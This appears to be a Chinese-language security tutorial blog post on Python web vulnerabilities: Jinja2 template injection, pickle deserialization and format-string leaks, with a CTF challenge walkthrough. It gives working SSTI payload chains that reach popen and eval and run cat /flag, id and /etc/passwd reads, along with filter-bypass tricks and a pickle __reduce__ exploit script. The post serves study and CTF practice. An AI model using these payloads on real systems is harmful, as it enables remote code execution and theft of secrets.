Python安全 发表于 2024-12-11 更新于 2024-12-13
阅读量: 北京
WEB Python安全 xxshh 2024-12-11 2024-12-13 SSTI注入 SSTI(Server Side Template Injection,服务器端模板注入):服务端接收攻击者的输入,将其作为 Web 应用模板内容的一部分。在进行目标编译渲染的过程中,执行了所插入的恶意内容。从而导致信息泄露、代码执行、GetShell 等问题,其影响范围取决于模版引擎复杂性。
模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入,凡是使用模板的地方都可能会出现 SSTI 的问题。
不同模版引擎对应不同的解析符号:
如何判断是否存在SSTI注入?
提交的数据如果在页面中有显示,即可进行SSTI测试。
根据该模版引擎的解析符号,尝试注入简单的模板表达式,比如 {{ 7*7 }}
,观察页面是否直接返回表达式结果。
正常情况下,用户输入应当被视为普通文本,不应执行其中的任何代码。如果输入 {{ 7*7 }}
被解析为 49
,说明服务器将输入当成了代码,而不是普通文本,就说明该页面存在 SSTI 注入。
自动化工具:https://github.com/vladko312/SSTImap
Python对象的魔术方法 __class__ :类的一个内置属性,表示实例对象的类。__base__ :类型对象的直接基类。__bases__ :类型对象的全部基类,以元组形式,类型的实例通常没有属性 。__mro__ :解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。__subclasses__ ():返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。__init__ :初始化类,返回的类型是function。__globals__ :使用方式是 函数名.__globals__ 获取function所处空间下可使用的module、方法以及所有变量。__dic__ :类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__ 里。__getattribute__ ():实例、类、函数都具有的__getattribute__ 魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__ 方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。__getitem__ ():调用字典中的键值,其实就是调用这个魔术方法,比如a['b' ],就是a.__getitem__ ('b' )__builtins__ :内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__import__ :动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__ ('os' ).popen('ls' ).read()]__str__ ():返回描写这个对象的字符串,可以理解成就是打印出来。
注入流程 下面的语句均拼接到模板渲染的接收参数处。
查看当前环境中哪些子类可用。
{{''.__class__.__base__.__subclasses__ ()}}
查找利用类索引。
开启vscode的正则表达式模式,把逗号替换成\n,方便查看。找到利用类的索引,如
索引从 0 开始排序,根据环境不同,索引也不同,所以需要实际情况分析。
该类的索引是144:
查看该类所处空间下可使用的所有变量。
{{'' .__class__ .__base__ .__subclasses__ ()[144 ].__init__ .__globals__ }}
构造利用类方法。
{{''.__class__.__base__.__subclasses__ ()[144].__init__.__globals__.popen('calc' )}}
显示没有这个属性:
失败原因是Python 3.8 及以上,dict
明确不支持通过点号访问键,强制使用 ['key']
的方式。
于是尝试改为以下格式:
{{''.__class__.__base__.__subclasses__ ()[133].__init__.__globals__['popen']('calc' )}}
成功打开计算器:
若是读取文件,要用 popen 命令,不能用system。因为 os.system 只是执行,无回显。而 popen 自带读取函数 read,可以得到执行命令的结果进行回显。
{{''.__class__.__base__.__subclasses__ ()[144].__init__.__globals__['popen']('cat /flag' ).read()}}
基础payload //获得基类:'' .__class__ .__mro__ [1 ] # python3'' .__class__ .__mro__ [2 ] # python2 {}.__class__ .__bases__ [0 ] ().__class__ .__bases__ [0 ] [].__class__ .__bases__ [0 ] request.__class__ .__mro__ [1 ] request.__class__ .__mro__ [1 ] //文件操作 //python3 已经移除了file。所以利用 file 子类文件读取只能在 python2 中用。 //找到file类 : [].__class__ .__bases__ [0 ].__subclasses__ ()[40 ] //读文件 : [].__class__ .__bases__ [0 ].__subclasses__ ()[40 ]('/etc/passwd' ).read() //写文件 : [].__class__ .__bases__ [0 ].__subclasses__ ()[40 ]('/tmp' ).write('test' ) //命令执行 [].__class__ .__bases__ [0 ].__subclasses__ ()[144 ].__init__ .__globals__ ['__builtins__' ]['eval' ]("__import__('os').popen('id').read()" ) [].__class__ .__bases__ [0 ].__subclasses__ ()[144 ].__init__ .__globals__ ['__builtins__' ]['__import__' ]('os' ).popen('id' ).read()
绕过方式 1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
第70天:WEB攻防-Python安全&SSTI模版注入&Jinja2引擎&利用绕过项目&黑盒检测 – The-Starry-Sky
实例分析-NewStar-CTF-2024-Week2-Web-复读机
确定注入点是否存在 SSTI。
输入 {{ 7*7 }}
被解析为 49
,说明服务器将输入当成了代码,而不是普通文本,就说明该页面存在 SSTI 注入。
探索过滤规则。
尝试注入 {{ "a".__class__}}
来获取当前对象的类。页面输出异常信息(“bot 显示不喜欢上课”),说明 __class__
被过滤,.
可能也会被视为敏感字符,因为它能直接访问对象的属性。
遇到关键字被过滤的情况,可以利用字符串拼接等技巧绕过过滤,例如 {{"a"['__cl'+'ass__']}}
,绕过 __class__
关键字限制。其中用[]
来绕过.
过滤 3. 利用 SSTI 获取敏感对象和方法。
SSTI 的目的是执行服务端代码,所以我们需要找到一个能操作系统命令的类。
对于大多数语言,object
是所有类的基类,我们可以通过访问 object
来找到各种可能的类。
可以通过表达式 {{"a".['__cl'+'ass__']['__mro__'][1]}}
获取 object
类; 然后通过 {{"a".['__cl'+'ass__']['__mro__'][1]['__subc'+'lasses__']()}}
获得所有子类的列表。
查找可利用的类。
在获得 subclasses()
列表后,可以遍历其中的类,找到可能用于执行命令的类。在这个例子中,可以选择 os._wrap_close
(通常位于索引 132,不同的 Python 版本和环境中,索引值可能有所不同)类。
os._wrap_close
类中包含了可以帮助调用系统命令的方法,比如 __init__
中可以访问 __globals__
属性,进一步获取 Python 内置的 eval
函数。
利用 eval
执行系统命令
构造命令执行的表达式:
{{"a ".['__cl' +'ass__' ] ['__mro__' ] [1] ['__subc' +'lasses__' ] ()[132] ['__init__' ] ['__globals__' ] ['__builtins__' ] ['eval' ] ("__import__('os').popen ('cat /flag').read ()")}}
Python 反序列化漏洞 python 常用 (反) 序列化函数 pickle.dump (obj, file) : 将对象序列化后保存到文件 pickle.load (file) : 将文件序列化内容反序列化为对象 pickle.dumps (obj) : 将对象序列化成字符串格式的字节流 pickle.loads (bytes_obj) : 将字符串字节流反序列化为对象 PyYAML yaml.load () JSON json.loads (s) marshal
魔术方法 reduce () :反序列化时调用。reduce_ex () :反序列化时调用,同时都有的时候,执行 reduce_ex ,不执行 reduce 。setstate () :反序列化时调用(类似于 php 的 isset )。getstate () :序列化时调用。
漏洞利用 import pickle import base64 from flask import Flask, request app = Flask(__name__) @app.route("/" ) def index(): try: user = base64.b64decode(request.cookies.get ('user' )) user = pickle.loads(user) #反序列化 return "Hello %s" % user except: username = "Guest" return "Hello %s" % username if __name__ == '__main__' : app.run ( host ='0.0.0.0' , port =5000, debug =True )
import requests import pickle import os import base64 class exp(object ): def __reduce__(self): return (eval, ("__import__('os').system('calc')",)) e = exp() s = pickle.dumps(e) user =base64.b64encode(s).decode() print(user ) response = requests.get ("http://127.0.0.1:5000/", cookies=dict(user =base64.b64encode(s).decode()))
格式化字符串漏洞 Python Web之flask session&格式化字符串漏洞 - 先知社区
在 python 中,提供了 4 种格式化字符串方式。
%操作符
沿袭C语言中printf语句的风格:
>>> name = 'Bob' >>> 'Hello, %s' % name "Hello, Bob"
string.Template
使用标准库中的模板字符串类进行字符串格式化:
>>> name = 'Bob' >>> from string import Template>>> t = Template('Hey, $name!' ) >>> t.substitute(name=name) 'Hey, Bob!'
调用format方法
python3后引入的新版格式化字符串写法:
>>> name , errno = 'Bob' , 50159747054 >>> 'Hello, {}' .format(name )'Hello, Bob' >>> 'Hey {name}, there is a 0x{errno:x} error!' .format(name =name , errno=errno)'Hey Bob, there is a 0xbadc0ffee error!'
但是这种写法存在安全隐患:
>>> config = {'SECRET_KEY' : '12345' } >>> class User (object ):... def __init__ (self, name ): ... self .name = name ... >>> user = User('joe' ) >>> '{0.__class__.__init__.__globals__[config]}' .format (user) "{'SECRET_KEY': '12345'}"
如果用来格式化的字符串可以被控制,攻击者就可以通过注入特殊变量,带出敏感数据。
f-Strings
这是python3.6之后新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的python表达式,安全隐患可想而知。
>>> a , b = 5 , 10 >>> f'Five plus ten is {a + b} and not {2 * (a + b)} .' 'Five plus ten is 15 and not 30.'>>> f'{__import__ ("os" ).system("id" )} ' uid=0(root) gid=0(root) groups=0(root) '0'